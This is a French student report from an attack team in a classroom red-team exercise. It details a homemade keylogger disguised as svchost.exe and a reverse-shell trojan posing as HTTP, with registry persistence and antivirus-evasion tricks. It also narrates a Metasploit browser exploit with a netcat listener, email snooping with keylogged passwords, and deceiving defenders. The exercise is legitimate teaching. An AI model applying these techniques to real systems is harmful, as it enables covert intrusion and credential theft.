PROJET SECURITE. Equipe Attaque

Transcription

1 PROJET SECURITE Equipe Attaque Page 1 sur 77

2 Page 2 sur 77

3 Sommaire I. Introduction... 4 A. Cadre... 4 B. Candide SA... 5 II. Gestion de projet... 6 A. Définition des rôles... 6 B. Communication... 6 C. Diagramme de Gantt... 7 D. Déroulement des attaques... 8 III. Développement d outils et scripts A. Keylogger B. Trojan IV. Collecte d informations V. 1 ère confrontation A. Scénario 1 : attaque IE B. Scénario 2 : Attaque Web ( file include ) C. Scénario 3 : Attaque MITM et SSH D. Bruits de fond E. Récupération de la configuration du routeur: VI. 2ème confrontation A. Scénario 1 : Piratage du site B. Scénario 2 : Piratage de l'équipe audit C. Scénario 3 : Déni de service sur les clients Firefox D. Conclusions VII. 3ème confrontation A. Mail bombing B. Découverte inattendue VIII. Attaques «gratuites» A. Attaque vers un ordinateur personnel de la défense B. Attaque vers le site internet de l'équipe défense du groupe IX. Synthèse Page 3 sur 77

4 I. Introduction A. Cadre Il est possible d'aborder l'enseignement sur la sécurité des systèmes d'information suivant plusieurs axes pédagogiques. Dans le cas présent, l'objectif général était de faire «découvrir» l'importance des processus de sécurité à partir d'illustrations pratiques. À la suite de la première séance de présentation, les étudiants sont répartis en 3 groupes pour travailler sur un projet. Ce projet consiste à étudier et déployer une maquette d'infrastructure d'entreprise suivant un scénario type. Les objectifs pédagogiques sont multiples : - créer une émulation entre les groupes d'étudiants en «opposant» les rôles de chaque groupe, - évaluer l'importance des relations humaines, de la coordination et même de l'ingénierie sociale dans la sécurité des systèmes d'information en imposant une taille de groupe importante, - illustrer les problématiques des «métiers» de la sécurité informatique à partir du scénario d'entreprises types. Ce projet sera axé sur la création de trois groupes différents, nommés pour l'occasion «Défense», «Analyse» et «Attaque». Nous présenterons ici les activités du groupe «Attaque» : Ce groupe est chargé de rechercher toutes les possibilités d'intrusion et de compromission les plus efficaces et les plus faciles à mettre en œuvre. Du point de vue métier, les membres de ce groupe jouent le rôle de consultants en sécurité chargés d'évaluer la solidité du système d'information défendu. Ils sont totalement étrangers à la structure de l'entreprise. Les 2 autres groupes ne sont pas sensés leur communiquer la moindre information. Bien entendu, les membres du groupe «Attaque» ne doivent pas se limiter aux moyens techniques pour collecter leurs informations. Page 4 sur 77

5 B. Candide SA L'activité des groupes définis ci-dessus gravite autour du système d'information d'une entreprise totalement fictive, mais dont les besoins sont représentatifs de ceux que l'on rencontre habituellement. Supposons donc que les groupes vont travailler pour ou contre une agence baptisée Candide S.A. Cette agence vient d'obtenir un gros contrat de service pour un très grand groupe industriel aéronautique. Ce grand groupe industriel est un acteur majeur dans un contexte de concurrence mondiale exacerbée. Il fait donc l'objet d'actions d'intelligence économique tous azimuts. La chaîne des sous-traitants de ce grand groupe industriel constitue un axe de travail intéressant en matière d'intelligence économique pour collecter des informations à forte valeur ajoutée. Notre agence Candide S.A., venant d'entrer dans cette chaîne de sous-traitance avec un contrat important, fait l'objet de beaucoup d'attention. Sa crédibilité, voire même sa survie économique, dépendent de la qualité de la sécurité de son système d'information. Le rôle du groupe d'étudiants «Défense» est de garantir cette crédibilité. Compte tenu des enjeux, notre grand groupe industriel aéronautique, ne peut se contenter des engagements contractuels pris avec Candide S.A. Aussi, il demande à quelques consultants indépendants (le groupe «Analyse») d'observer au plus près les flux du système d'information du sous-traitant. Il s'agit de s'assurer que l'équipe en charge du système d'information est à même de remplir les engagements pris. Un groupe industriel concurrent a appris par voie de presse qu'un contrat de service significatif avait été conclu entre Candide S.A. et son concurrent. A priori, Candide S.A. présente une opportunité intéressante de collecte d'informations sensibles en toute discrétion. Cette opportunité conduit notre groupe concurrent à faire appel à quelques consultants spécialisés dans ce genre de travail (le groupe «attaque»). Page 5 sur 77

6 II. Gestion de projet A. Définition des rôles 1. Organigramme B. Communication L aspect organisationnel est certainement très important dans ce type de projet. Cependant, sans une communication bien structurée et surtout régulière, des informations cruciales pouvaient être perdues. C est pour cette raison que nous avons décidé de nous réunir au moins une fois par semaine pour dresser une liste des actions à mener, centraliser les informations dont chacun dispose et faire le point sur ce qui a déjà été fait. À l issue de ces réunions, un compte rendu est rédigé, puis mis à disposition de l équipe sur un site de partage (streekr). Nous avons aussi décidé que toutes les communications devaient transiter par mail tandis que tous les fichiers devaient être placés sur le site de partage dans des archives verrouillées par mot de passe. Nous pouvions ainsi partager nos idées et expériences pour mener à bien le projet sans problème de sécurité. Les Page 6 sur 77

7 communications avec les autres équipes et M. LATU passaient par le chef de projet qui faisait office de coordinateur et d interlocuteur unique. C. Diagramme de Gantt Page 7 sur 77

8 D. Déroulement des attaques Phase de collecte d informations Cette phase consiste à récupérer le maximum d'informations sur l'architecture du réseau et sur les systèmes d'exploitation et applications fonctionnant sur celui-ci. L obtention d informations sur l'adressage du réseau visé est un préalable à toute attaque. Elle consiste à rassembler le maximum d'informations concernant les infrastructures de communication du réseau cible : - Adressage IP, - Protocoles de réseau, - Services activés, - etc. Phase de planification et maquettage La phase de planification est la phase où la portée de la mission est définie. L équipe «Attaque» prépare et définit une stratégie. C est durant cette phase que l on recense les activités utiles à la mission avant de commencer l attaque. Il y a plusieurs facteurs à prendre en considération pour qu une attaque soit proprement planifiée. Un attaquant se verra confronté à de nombreuses limitations, d où la nécessité d une planification rigoureuse pour aboutir à une attaque réussie. L une de ces limitations est le temps. En effet, dans des conditions réelles, un attaquant doit faire très attention au timing. Des aspects tels que l organisation du temps de travail doivent être pris en considération. Grâce à la collecte d information nous pouvons déterminer les scénarii à mettre en place et commencer à maquetter les différentes attaques. Phase d intrusion Lorsque l attaquant a dressé une cartographie des ressources et des machines présentes sur le réseau, il est en mesure de préparer son intrusion. Pour pouvoir s'introduire dans le réseau, l attaquant a besoin d'accéder à des comptes valides sur les machines qu'il a recensées. Pour ce faire, plusieurs méthodes sont utilisées : - l'ingénierie sociale, c'est-à-dire en contactant directement certains utilisateurs du réseau (par mail ou par téléphone) afin de leur soutirer des informations concernant leur identifiant de connexion et leur mot de passe. Ceci est généralement fait en se faisant passer pour l'administrateur réseau - la consultation de l'annuaire ou bien des services de messagerie ou de partage de fichiers, permettant de trouver des noms d'utilisateurs valides - les attaques par brute force, consistant à essayer de façon automatique différents mots de passe sur une liste de comptes (par exemple l'identifiant, éventuellement suivi d'un chiffre, ou bien le mot de passe password, ou passwd, etc) - le Man in the middle (décrit plus loin dans ce rapport). Page 8 sur 77

9 Phase d exploitation des résultats Cette phase nous permet de voir ce qui a réussi ou non. Les résultats obtenus nous permettront de nous diriger vers d autres scénarii grâce à l analyse des nouvelles informations récupérées. Page 9 sur 77

10 III. Développement d outils et scripts A. Keylogger 1. Préambule Lors d'un TP sur salle machine en U3, la liste des mots de passe de toute la classe a été donnée à un élève afin que nous puissions nous connecter. Il a donc été facile de récupérer l'ensemble des mots de passe, et par conséquent ceux des membres de l'équipe défense et de l'équipe analyse. Je précise que cette récupération n'a jamais été faite de façon secrète et plusieurs personnes de la classe (dont des membres des équipes sus-citées) étaient au courant que j'avais à ma disposition l'ensemble des mots de passe. Le fait que les équipes soient au courant que nous possédions les mots de passe est un fait important puisque cela nous amène dans un contexte réel (c'est-à-dire hors université) à considérer les comptes utilisateurs et les machines de l'u3 comme des machines "publiques" (cybercafé ou autre), où une personne malveillante aurait pu passer avant ou après le passage d'un des membres des équipes (il aurait bien évidement été possible de faire de même en U2 où le contexte aurait été encore plus proche d'un contexte réel). 2. La nécessité d'un Keylogger Ayant la possibilité d'accéder à tous les comptes utilisateurs, nous avions à notre disposition plusieurs moyens de récupérer des informations: - les utilisateurs auraient pu stocker des données sur le projet sur leur espace personnel - les utilisateurs auraient pu laisser une session ouverte via des cookies ou auraient enregistré leurs mots de passe dans le navigateur - utiliser un Keylogger pour récupérer les mots de passe qu'ils utiliseraient. Etant donné le contexte expliqué en préambule, il allait de soit que les deux premiers cas seraient très peu probables. Cela n'a d'ailleurs pas été le cas. De plus, la probabilité d'obtenir ces cas en contexte réel aurait été encore bien plus faible (quel administrateur possédant un minimum de bon sens irait enregistrer des données concernant le réseau sur un ordinateur qui n'est pas le sien?). Cette faible probabilité d'obtenir un cas favorable était d'autant plus réduite que l'équipe d'attaque de l'an passé avait utilisé la méthode des comptes de l'u3 pour Page 10 sur 77

11 récupérer des mots de passe via filezilla, et que ces faits étaient consignés dans les rapports de l'an dernier (que l'équipe défense aurait bien sûr lu pour savoir à quoi s'attendre). Restait donc la seule possibilité du Keylogger. 3. Cahier des charges Avant de partir tête baissée dans la recherche d'un Keylogger et dans son déploiement, il était nécessaire de définir de façon claire ce qui était attendu de ce logiciel. Les points suivant on été retenus: - installation possible en mode utilisateur (nous ne disposons pas des comptes admin en U3) - mobilité du Keylogger avec l'utilisateur (il aurait été difficile d'installer le Keylogger sur toutes les machines de l'u3) - discrétion (voire invisibilité) - log des saisies complexes (caractères spéciaux, majuscules, retour chariot, backspace) Une fois ces points définis, nous avons testé une bonne dizaine de keylogger existants. Si ceux-ci étaient très performants sur les deux derniers points (avec des résultats fournis impressionnants pour certains), aucun d'entre eux ne répondait aux deux premières exigences (ou alors le peu qui y répondaient un minimum n'étaient plus assez discrets). Partant de ce constat et compte tenu des acquis précédents de développement personnel, nous avons décidé de développer nous-même un keylogger répondant à ces besoins. 4. Choix d'implémentation Le choix qui a été fait afin que le Keylogger soit installable à partir du compte utilisateur est de pouvoir compiler le Keylogger en un seul fichier exécutable qui ne nécessiterait l'installation d'aucune autre entité. Ainsi, la seule installation du Keylogger se résumerait à le copier dans l'espace personnel des utilisateurs. L'implémentation logicielle du keylogger en lui-même ne présente aucune particularité. Le keylogger est un programme développé en C++ qui capture les messages systèmes via un hook. A l'appui d'une touche, celui-ci détecte la touche saisie (ainsi que les touches systèmes activées à ce moment-là) et consigne cette saisie dans une fichier log situé dans le même répertoire. Page 11 sur 77

12 Afin de dissimuler le programme, nous avons choisi de le placer dans le répertoire "Application Data\Microsoft\Services\" sous le nom "svchost.exe". Afin d'automatiser le démarrage du keylogger, nous avons placé un raccourci vers celui-ci dans le dossier "démarrage" du menu démarrer de l'utilisateur. Afin de rendre un minimum discret ce raccourci, nous avons choisi d'appeler celui-ci "démarrage rapide Office". Notre keylogger ainsi installé répond donc aux exigences de mobilité (tout étant installé sous le profil itinérant de l'utilisateur). Au niveau de la discrétion, notre keylogger n'est absolument pas invisible. Cependant, il passe facilement dans les machines de l'u3 pour un service Microsoft. Nous avons estimé que ce niveau de discrétion était suffisant pour nous permettre d'obtenir les résultats souhaités. 5. Evolution du keylogger La première version du keylogger souffrait d'un problème de détection des touches système (notamment en cas de saisie de majuscules successives). Celui-ci a donc été amélioré par la suite. La seule différence entre les deux versions repose sur l'événement système déclenchant l'analyse de la touche. La première version détectait la touche lorsque celle-ci était relâchée, la seconde lorsque la touche est appuyée. Il s'agit d'une différence mineure, mais la première version du keylogger a échoué face au moins à un mot de passe. 6. Bilan du développement Hormis les compétences techniques de développement qui ont pu être acquises, le développement du keylogger a permis de montrer que les outils de sécurité déjà prêts ne sont pas forcément les plus adaptés. D'une part, aucun des outils ne s'est révélé applicable dans ce contexte. D'autre part, le temps d'analyse des outils existants a pris à lui seul 2 à 3 heures, alors qu'une dizaine d'heures ont été suffisantes afin d'obtenir un semblant de keylogger fonctionnel (le reste a été du peaufinage, surtout en ce qui concerne les touches système). De plus, le développement totalement nouveau du keylogger a l'avantage de rendre celui-ci indétectable par les anti-virus et anti-spywares. Page 12 sur 77

13 B. Trojan 1. Principe et code initial du trojan Le but de ce trojan est de fournir à l'attaquant un shell sur la machine cible. La connexion entre le pc de l'attaquant et la machine cible est initialisée par la machine cible. La connexion est effectuée sur le port 80 de la machine attaquante. Cela permet de passer à travers les firewalls comme une connexion vers un serveur HTTP. Cela permet également de passer à travers les routeurs NAT et les pare-feu Statefull puisque c'est le PC cible qui ouvre la connexion. Afin de pouvoir traverser les pare-feu applicatifs les plus simples, la connexion du shell débute par un en-tête HTTP afin de faire croire à un flux HTTP valide. La capture du flux de connexion par le trojan par l'analyseur Wireshark montre que le flux est reconnu comme un flux HTTP. Le premier paquet envoyé par l'attaquant (hors ouverture de la connexion TCP) est vu comme une requête HTTP get normal. Le reste du trafic est vu comme une continuation du dialogue HTTP. Le trojan initial était une DLL codée par Jean-Pascal Thomas à titre personnel. 2. Premier développement du trojan Afin de rendre le code utilisable sans injection DLL, la première étape a été de transformer la DLL en un exécutable autonome. Cela permettait l'utilisation du trojan dans un contexte plus large sans nécessité l'injection de celle-ci dans un processus. Le principe général du fonctionnement du reverse shell est le suivant: Boucle_infinie { Ouverture du socket; Tant que (Connexion au pc de l'attaquant!= vrai) { Essai de connexion au pc de l'attaquant; } Envoie du paquet contenant l'entete HTTP et la demande de mot de passe; Reception du mot de passe; Tant que (mot de pas non valide) { Page 13 sur 77

14 } Envoie d'un demande de mot de passe; Reception du mot de passe; Ouverture du shell; Création des pipes de lecture et écriture sur le shell; Démarrage des thread transmettant les pipes sur le socket; Tant que (socket valide) { attendre; } } Fermer socket; Fermer threads et pipe; Ferme shell; 3. Evolution du trojan: cahier des charges La collecte d'information nous a amené plusieurs renseignements concernant le développement du trojan: - les utilisateurs auraient le pouvoir le plus restreint possible. Le trojan doit donc pouvoir fonctionner avec les droits utilisateurs. - le pare feu autorisera uniquement le protocole HTTP en destination du port 80 (plus HTTPS). Grâce à ces deux renseignements et à ce qui était attendu du trojan, nous avons pu déterminer les contraintes suivantes: - le trojan doit pouvoir s'exécuter en mode utilisateur - le trojan doit pouvoir se lancer automatiquement au démarrage, il doit pouvoir inscrire ce démarrage en mode utilisateur - le trojan ne doit pas être détecté par un anti virus qui analyse les codes potentiellement dangereux - le trojan doit être capable de s'enregistrer de lui-même sur le disque - le trojan doit permettre à l'attaquant de télécharger de nouveaux fichiers si besoin - le trojan doit simuler une connexion HTTP pour la communication avec le PC de l'attaquant (déjà fait). Page 14 sur 77

15 4. Evolution du trojan : solutions retenues Afin de répondre au mieux au cahier des charges, les points suivants ont été retenus: Démarrage automatique du trojan Le choix a été fait d'inscrire le démarrage du trojan dans la base de registre. Cela est en effet le moyen le plus discret de faire démarrer un programme. Afin que ce démarrage puisse être inscrit dans la base de registre alors que le trojan tourne avec les droits utilisateurs, il a été choisi de l'inscrire sous la clé principale: "HKEY_CURRENT_USER" qui correspond aux paramètres du compte de l'utilisateur qui exécute le trojan. Il s'agit en effet de la seule clé de registre ou un simple utilisateur a la droit en écriture. Cette clé possède une sous clé "Software\Microsoft\Windows\Current Version\Run" qui est exécutée à chaque connexion de l'utilisateur. C'est dans cette clé que nous inscrirons le démarrage du trojan. Le seul inconvénient amené par cette méthode est que le trojan fonctionnera uniquement lorsque l'utilisateur sera connecté. Face au contexte simulé, cela reste un inconvénient mineur, puisqu un utilisateur "classique" se connectera régulièrement à son poste de travail pour une durée suffisante afin de permettre une attaque. Dans le contexte du projet, cela sera plus délicat puisque l'utilisateur sera connecté moins souvent, nous disposerons donc de moins de temps pour attaquer. Afin que le trojan ne soit pas détecté comme code potentiellement dangereux, il a été nécessaire que le trojan ne s'inscrive pas lui-même dans la base de registre via l'api Windows, mais qu'il exécute le programme REG.EXE, (fourni d'origine avec windows) avec les bons paramètres, qui se chargera de l'écriture dans le registre. Enregistrement automatique du trojan sur le disque Afin que le trojan puisse démarrer automatiquement à chaque fois que l'utilisateur se connecte, il faut qu'il soit présent sur le disque dur. Afin de pouvoir écrire le trojan sur le disque avec les droits utilisateurs, il a été choisi d'inscrire le trojan dans "%HOMEDRIVE%\%HOMEPATH\Application Data\Microsoft\Windows" (HOMEDRIVE et HOMEPATH sont des variables système désignant respectivement le lecteur système et le dossier de l'utilisateur, ceci afin que le trojan puisse s'exécuter quelque soit le nom de l'utilisateur et le disque système). L'utilisateur a, en effet, toujours les droits d'écriture sur ce disque. Le code binaire du trojan sera lui récupéré par HTTP. Nous avons donc repris un code permettant le téléchargement d'un fichier par HTTP. Le trojan télécharge donc son code binaire sur un serveur HTTP et l'écrit sur le disque. Le fichier que le trojan demande au serveur HTTP en téléchargement ne doit par avoir une extension de fichier exécutable (.exe,.com,.bat,.cmd,...), ceci afin de ne pas être détecté par les anti-virus. Les binaires porteront donc sur le serveur HTTP une extension anodine Page 15 sur 77

16 telle que.dat ou autre. C'est à l'écriture sur le disque que l'extension.exe sera donnée. Il est à noter que le serveur HTTP sur lequel les programmes sont téléchargés n'est pas obligatoirement le PC de l'attaquant, et cela peut être un serveur HTTP public (un site personnel chez un FAI par exemple). Cela permet de rendre les connexions HTTP et le téléchargement de fichiers plus discret. Permettre le téléchargement de fichiers Comme cité plus haut, seules les communications HTTP seront autorisées depuis les clients. Or, l'attaquant doit pouvoir rapatrier si besoin un fichier sur le PC cible (un programme utile à une autre étape de l'attaque par exemple). Pour cela, plusieurs moyens existent : - intégrer dans le code du trojan une fonction pour uploader via le canal qui sert au shell un programme - intégrer une interprétation de commande ordonnant le téléchargement d'un fichier par HTTP - utiliser un équivalent du "wget" de linux sous windows. La complexité des deux premières solutions les rend difficilement envisageables dans le temps qui nous est imparti, surtout étant donné la simplicité de la troisième solution. La troisième solution est donc naturellement celle que nous avons retenue. Le seul inconvénient est qu'il n'existe pas d'équivalent intégré à windows de la commande wget. Ceci n'est pas un problème très difficile à contourner : en utilisant la même fonction que pour télécharger le trojan lui-même, nous téléchargerons un programme wget tournant sous windows (facilement trouvable sur internet). L'attaquant pourra donc exécuter ce programme wget en lui passant les paramètres adéquats pour télécharger un fichier via HTTP. Reverse shell La partie concernant le reverse shell n'a pas été modifiée. 5. Fonctionnement général du trojan Création de la commande d'inscription dans le registre; Exécution de la commande d'inscription dans le registre; Si le programme binaire du trojan n'existe pas Page 16 sur 77

17 { Télécharger par HTTP le programme binaire du trojan; } Si le programme wget.exe n'existe pas { Télécharger par HTTP le programme wget.exe } Démarrage du reverse shell; 6. Bilan du développement Après plusieurs tests, le trojan s'avère répondre parfaitement à nos attentes. Testé sur plusieurs plateformes windows XP (SP0, SP1, SP2), et plusieurs contextes (utilisateurs limités, administrateurs,...), le trojan s'est avéré fonctionnel dans 100% des cas. Le développement spécifique d'un trojan adapté à nos besoins s'est avéré essentiel. Trouver un trojan déjà codé et s'adaptant particulièrement à nos attentes aurait été long et fastidieux. Ici, nous disposons d'un outil que nous connaissons bien et qui est réellement adapté et optimisé pour le contexte cible. Ce développement a permis de mettre en avant la nécessité capitale d'une bonne collecte de données, la plus précise qu'il soit. En effet, sans les informations que nous avions sur les postes clients et leur utilisation, le développement du trojan n'aurait absolument pas été fait ainsi (notamment au niveau des droits utilisateurs) et le programme se serait révélé totalement non fonctionnel. Page 17 sur 77

18 IV. Collecte d informations Le keylogger a été très efficace et nous a permis de récupérer un grand nombre de mot de passe de comptes mails (6 pour la défense et 3 pour l'analyse). Grâce à ces mots de passe, nous avons pu mettre en place une surveillance régulière de certains comptes mails. La surveillance a pris beaucoup d'importance au début (au minimum tous les deux ou trois jours) quand les échanges d'informations importantes intra et inter équipes étaient nombreuses. Lors de la deuxième moitié du projet, nous avons considérablement réduit la surveillance mail : d'une part, car les informations échangées devenaient moins nombreuses et moins intéressantes, et d'autre part, car nous avions suffisamment d'informations pour établir nos attaques. Outre les informations techniques et organisationnelles de l'équipe défense, nous avons également surveillé les échanges avec l'équipe audit, ainsi que des informations internes à l'équipe audit. Les informations recueillies ont été très nombreuses: - certificats de connexion au VPN - architecture mise en place, futures évolutions - services et ports ouverts - politique de sécurité - recommandations de sécurité pour les clients - configurations d'équipement (et même configuration du routeur en clair!!!) - rapports de sécurité de la part de l'audit - retours de problèmes - visibilité de nos actions par la défense et l'audit - adresse du dépôt SVN sur cooper de la configuration du switch (merci M. Latu!) - Seuls les mots de passe n'ont pas été échangés par mail ni par la défense, ni par l'audit. On peut ici remarquer le manque de précaution de l'équipe défense au regard des informations plutôt critiques échangées par mails et non cryptées. Page 18 sur 77

19 Nous n'avons pas utilisé pour nos attaques l'intégralité de ces informations. Seule une partie s'est révélée utile. Mais posséder toutes ces informations nous a permis une meilleure visibilité et une meilleure immersion dans l'architecture cible, et cela nous a également permis de pouvoir préparer plus précisément certaines attaques en fonction de détails techniques. Voici un petit exemple d information récupérée : une architecture détaillée. Page 19 sur 77

20 V. 1 ère confrontation A. Scénario 1 : attaque IE 1. Contexte La collecte des informations précédentes nous a apporté les renseignements suivants sur la configuration des postes clients: - 1er poste : windows XP SP0-2ieme poste : Windows XP SP2 + mises à jour - sur les deux postes : les utilisateurs ont uniquement les droits utilisateurs restreints - à priori JavaScript, ActiveX et téléchargement de fichiers depuis IE sont désactivés. Nous émettrons une réserve concernant l'application du dernier point en contexte professionnel. Si la désactivation des ActiveX peut s'avérer applicable en entreprise et pas trop contraignante, le téléchargement de fichiers et le JavaScript semblent aujourd hui incontournables. En effet, il n'y a pas ici de serveur mail et de plus, les protocoles pop3 et imap ne sont pas autorisés vers Internet, les clients devront donc utiliser un webmail. Or, l'utilisation d'un web mail inclus nécessairement le téléchargement de pièces jointes. Le téléchargement de fichiers devra donc être autorisé (au moins vers le site du webmail). Quant au JavaScript, il est aujourd'hui plus qu'utilisé sur le web, (ne serait-ce que pour certaines pop-up, bandières défilantes, ou encore plus majoritairement sur le web 2.0, très en vogue). Sa désactivation nous paraît donc totalement inenvisageable et pourrait s'avérer totalement contre-productif. La recherche de faille d'internet Explorer s'intègre dans le contexte des scénarii autour d'internet Explorer. Nous avons choisi pour ce scénario d'utiliser la faille VML Fill Methode dont l'exploit est fourni dans le framework MetaSploit. 2. Détails du scénario 1) préparation de l'attaque 2)demande à l'équipe défense d'ouvrir via IE sur leur client faible la page (page contenant l'exploit de la faille VML) 3) à l'ouverture de cette page, IE ne répond plus et affiche au bout de quelques secondes une page blanche. L'équipe défense ferme logiquement IE. 4) pendant ce temps, IE télécharge et exécute le trojan (le moment ou IE ne répond plus). Page 20 sur 77

21 5) le trojan au début de son exécution s'inscrit au démarrage, se télécharge et télécharge wget (il télécharge ces fichiers sur le serveur 6) le trojan ouvre le shell vers la machine où tourne netcat sur le port 80. 7) l'attaquant qui est derrière cette machine exploite le shell. 3. Préconisation : visite de la page par l équipe défense La seule demande qui a été faite à l'équipe défense pour ce scénario est de visiter l'url: " à l'aide du navigateur IE sur le client faible. Bien entendu la première réaction de l'équipe défense a été de dire "chez nous, on utilise pas IE, y'a firefox d'installé". Ce cas était bien entendu prévu et notre argumentaire déjà prêt face à cette réaction : ce contexte est en partie irréalisable en entreprise. En effet, certains sites fonctionnent mal sous firefox et l'utilisation de IE reste indispensable (ne serait-ce que pour le site windows update). 4. Premières validations de failles. Les failles ont été testées sur des machines virtuelles montées spécialement pour les tests d'attaques, ainsi que sur quelques machines réelles. Les premières recherches de failles se sont faites sur un Windows XP SP1, n'ayant pas de XP SP0 à disposition de suite. Outre les recherches d'exploits existants sur internet, nous avons utilisé le Framework Metalsploit 3.0. Après quelques recherches et quelques essais, trois exploits se sont révélés productifs: - la faille VML Fill Method (Metasploit) - la faille createtextrange() (Metasploit) - une page spécialement générée par PHP permettant le téléchargement et l'exécution automatique d'un exécutable via une mauvaise interprétation d'un nom de fichier dans une URL. La faille createtextrange() est assez difficilement exploitable, l'exécution du JavaScript utilisé pour celle-ci étant assez longue et donc l'utilisateur risque de changer de page ou de fermer son navigateur avant l'exécution totale du code. Les deux autres failles ont étés testées dans différents contextes. 5. Tests des failles selon contexte OS Eléments activés Faille VML Fill Page php XP SP0 XP SP1 JavaScript + Téléchargement Ok Ok JavaScript Ok No Téléchargement No Ok Aucun No No JavaScript + Téléchargement Ok Ok JavaScript Ok No Téléchargement No Ok Aucun No No Page 21 sur 77

22 XP SP2 non à jour IE6 XP2 à jour IE7 JavaScript + Téléchargement Ok Non testé JavaScript Ok Non testé Téléchargement No Non testé Aucun No Non testé JavaScript + Téléchargement No Non testé JavaScript No Non testé Téléchargement No Non testé Aucun No Non testé 6. Préparatifs à l'exploit Avant d'exécuter le scénario, il sera nécessaire de mettre en place les choses suivantes: - un serveur web pour servir les pages avec exploit et les fichiers exécutables. Nous choisirons ici de placer le serveur web sur notre machine d'attaque pour une question de rapidité d'exécution. - une machine attaquante qui recevra la connexion au shell. Cette machine doit être distincte du serveur web car la connexion au shell s'effectue sur le port 80 également. - générer la page html d'exploit avec les bons paramètres (URL du trojan) avec metasploit puis la récupérer et la placer sur le serveur web. Cette méthode s'avère aussi fonctionnelle que d'utiliser metasploit directement comme serveur web et présente les avantages de discrétion (URL plus "logique") et de rapidité. - changer les paramètres d'url du trojan, du wget et de la machine attaquante dans le code source du trojan et recompiler celui-ci. - placer sur le serveur web l'exécutable du trojan, ainsi que le même exécutable et le wget mais dont l'extension.exe aura été changée (se reporter au document : développement trojan pour explication). - au niveau des ressources humaines : une personne préparant l'attaque, une personne demandant aux attaquants de visiter la page web, une personne attendant l'ouverture du shell pour l'exploitation de celui-ci (ces trois personnes peuvent être la même étant donné l'enchaînement séquentiel des actions). 7. Déroulement pendant l exploit Après référence auprès de l'autorité en ce qui concerne le bien-fondé de notre requête, l'équipe défense a accepté notre demande. L'exploit bloque IE pendant quelques secondes avant d'afficher une page blanche. Ce comportement est un comportement normal de l'exploit, cependant il apparaît anormal aux yeux de l'utilisateur qui s'attend à voir une page particulière apparaître. Page 22 sur 77

23 L'équipe défense n a pas dérogé à la règle. La première réaction face au blocage d'ie a été d'en déduire que la page ne marchait pas. Il a donc été facile pour moi de simuler une grande déception en prétendant que la page ne marchait pas. Cela a été renforcé par une question totalement naïve à l'attention des techniciens: "Vous avez désactivé le JavaScript ou quoi?" (suivi de l'évidente réponse: "ha oui!"). L'équipe défense était alors persuadée que l'attaque avait échoué. Il ne me restait plus qu'à partir la tête basse en apparence. Le but de cette mascarade est détaillé plus loin dans le rapport. Récupération du shell distant Avant la demande faite à la défense, j'avais pris soin de lancer un netcat sur le PC spécifié dans le trojan: yann-debian:~# netcat -l -p 80 Au retour sur le pc d'attaque, c'était le moment de vérité : l'exploit avait-il fonctionné? Sur notre écran apparaît: GET / HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/msword, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.msexcel, */* Accept-Language: fr Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: Connection: Keep-Alive ".w`w+ w3wx""$w$$l""$w Uw Password : L'exploit a donc fonctionné et le processus a donc bien été exécuté sur la machine cible. Après renseignement du mot de passe, nous nous retrouvons avec un shell sur la machine: Bienvenue sur maxtroy ;-) Date et heure locale : 11/06/0717:21: Microsoft Windows XP [version ] (C) Copyright Microsoft Corp. Page 23 sur 77

24 C:\Documents and Settings\Utilisateur\Bureau> Un petit coup d'ipconfig pour voir si le shell fonctionne: C:\Documents and Settings\Utilisateur\Bureau>ipconfig ipconfig Configuration IP de Windows Carte Ethernet Connexion au réseau local: Suffixe DNS propre de la connexion : Adresse IP : Masque de sous-réseau : Passerelle par défaut : Carte Ethernet Connexion au réseau local 2: Statut du média : Média déconnecté Réponse : oui le shell fonctionne. Au passage, nous récupérons deux informations intéressantes : l'ip du client et l'ip interne su routeur. Il faut maintenant vérifier que le trojan s'est bien installé. C:\Documents and Settings\Utilisateur\Bureau>cd../Application Data/Microsoft cd../application Data/Microsoft C:\Documents and Settings\Utilisateur\Application Data\Microsoft>dir dir Le volume dans le lecteur C n'a pas de nom. Le numéro de série du volume est E07E-E877 Répertoire de C:\Documents and Settings\Utilisateur\Application Data\Microsoft 11/11/ :25 <REP> Internet Explorer 0 fichier(s) 0 octets 1 Rép(s) octets libres C:\Documents and Settings\Utilisateur\Application Data\Microsoft>cd Windows cd Windows Le chemin d'accès spécifié est introuvable. La réponse est non. Le répertoire dans lequel le trojan aurait du s'enregistrer n'existe pas! Le trojan ne procédant pas à la création du répertoire s il n'existe pas, celui-ci n'a pas pu s'enregistrer sur le disque. Le trojan ne démarrera donc pas au prochain démarrage de la machine. Notre shell sera donc malheureusement temporaire. Page 24 sur 77

25 De plus, le programme wget.exe n'a pas pu lui non plus s'enregistrer, ce qui est beaucoup plus problématique puisque nous ne pouvons rapatrier aucun outil sur la cible. 8. Tentative d'utilisation du shell Malheureusement, sans l'outil wget.exe, il était délicat pour nous de nous servir efficacement de notre shell. Il aurait cependant été facile de mettre en place un déni de service pour cet utilisateur. Mais cela ne représentait pas à nos yeux un grand intérêt pour le moment. Après quelques recherche infructueuses, nous avons tenté une solution de désespoir : lancer IE vers la page avec la faille à la console afin de rééxécuter le trojan (après avoir créé le répertoire manquant). Cette tentative s'est révélée infructueuse, le trojan étant déjà en train de s'exécuter, la faille a donné lieu à un plantage d'internet explorer. De plus, internet explorer s'étant affiché à l'écran, la discrétion de notre attaque était fortement compromise (mais il s'agissait bien de l'ultime tentative). 9. De l'importance du comportement humain Le fait de simuler une attaque échouée comme raconté plus haut a ici son importance. En effet, l'équipe défense pensant que l'attaque avait échoué, n'a absolument pas été vérifier une quelconque anomalie dans les processus ou le registre. Si nous avions montré lors de la visite de la page que l'exploit avait été un succès, l'équipe défense se serait immédiatement penchée sur la recherche des conséquences de la visite de cette page. En effet, dès que nous avons démarrer IE à distance via le shell, il n'a pas fallu plus d'une minute à l'équipe attaque pour détruire le processus de notre shell, celui-ci étant nommé lors de son lancement par l'exploit "a.exe". Il aurait donc été aussi rapide avec un tel nom de retrouver le processus par l'équipe défense si nous avions montré des traces de succès lors de la visite de la page. Nous mettrons ici encore en avant l'importance de la discrétion dans une attaque réussie. Si un attaquant souhaite garder le contrôle sur une machine, il a le plus intérêt à ce que ça ne se voit pas. 10. Analyse --- Bilan Page 25 sur 77

